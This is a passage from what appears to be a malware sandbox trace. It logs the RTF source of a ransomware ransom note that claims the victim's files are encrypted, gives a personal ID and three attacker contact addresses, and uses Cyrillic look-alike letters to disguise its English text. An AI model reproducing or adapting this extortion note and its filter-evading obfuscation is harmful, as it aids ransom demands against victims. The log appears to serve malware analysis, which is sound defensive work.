r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.981] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 